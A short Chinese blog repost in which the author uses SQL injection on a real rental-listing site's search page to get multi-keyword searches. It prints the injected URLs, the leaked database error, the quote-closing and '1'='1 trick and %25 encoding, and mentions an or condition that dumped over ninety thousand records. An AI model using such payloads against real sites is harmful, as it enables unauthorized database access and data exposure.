2009年5月12日星期二

SQL注入技术的爱心应用

2005.04.26


我想找个房子,听人说www.[某网站].com信息比较多。可是发现网站的检索功能中不能同时指定多个关键字。譬如说,我想同时搜索包含“紫竹桥”“北洼路”“车道沟”这些关键字其中之一的房子,就做不到了。不过我发现,搜索代码是可以做SQL注入的:

http://www.[某网站].com/search_hire.asp?y=1&search_qy=海淀区&search_hx=1居室&zj_id=&search_gj=紫竹桥'
---------------------------------------------------------------------------
Microsoft JET Database Engine 错误 '80040e14'
语 法错误 在查询表达式 'pass='是' and qy='海淀区' and hx='1居室'and (house_name like '%紫竹桥'%' or date like '%紫竹桥'%' or man like '%紫竹桥'%' or id like '%紫竹桥'%' or address like '%紫竹桥'%' or house_ms like '%紫竹桥'%' or tel like '%紫竹桥'%' or hx like '%紫竹桥'%' or fangx like '%紫竹桥'%') order by id' 中。

/search_hire.asp,行87
---------------------------------------------------------------------------

http://www.[某网站].com/search_hire.asp?y=1&search_qy=海淀区&search_hx=1居室' and house_name like '紫竹桥&zj_id=
这样就可以按照我们自己的要求设定查询条件了,为了使用多个like,还要加括号,这样就得处理末尾那个单引号,用and '1'='1就可以。一开始,我一不小心把and写成了or,结果数据库里面九万多条信息都出来了。
如果要使用like的模糊匹配,不能直接输入%,得用%25。
最终的查询就是这样:
http://www. [某网站].com/search_hire.asp?y=1&search_qy=海淀区&search_hx=1居室' and (house_name like '%25紫竹桥%25' or house_name like '%25北洼路%25' or house_name like '%25车道沟%25') and '1'='1&zj_id=

如果要更详细的查询还可以用下面这些关键字:
面积范围 search_mj_min=&search_mj_max=
价格范围 search_jg_min=&search_jg_max=

原创文章如转载,请注明:转载自大西国 [ http://www.daxiguo.com ]  

原文链接:http://hi.baidu.com/tombkeeper/blog/item/ea8894013fe693d1267fb56d.html
作者:tombkeeper

本文链接地址:http://www.daxiguo.com/2009/05/sql.html

没有评论: